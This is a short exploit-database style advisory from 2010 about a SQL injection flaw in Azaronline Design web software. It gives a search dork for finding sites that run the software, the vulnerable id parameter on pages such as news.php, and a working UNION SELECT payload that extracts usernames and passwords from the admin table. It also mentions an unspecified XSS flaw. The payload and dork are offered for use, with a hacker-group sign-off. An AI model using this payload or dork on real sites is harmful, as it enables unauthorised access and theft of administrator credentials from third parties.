Azaronline Design - SQL Injection

########################################################################
# Name: Azaronline Design SQL Injection Vulnerability
# Vendor: http://azaronline.com
# Date: 2010-11-02
# Author: XroGuE
# Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: Inj3ct0r.com
########################################################################
########################################################################
 
[+] Dork: intext:"Powered By Azaronline.com"
 
########################################################################
 
[+] SQL InjecTion Vulnerability:
 
[+] vuln: http://[site]/[path]/[news.php],[sgallery.php],[etc]?id=[SQLi]

[+] XPL : UNION all SELECT 1,2,group_Concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from admin
 
########################################################################

[+] XSS/HTML InjecTion Vulnerability:

[+] vuln: [SearCh And Find It :P]

########################################################################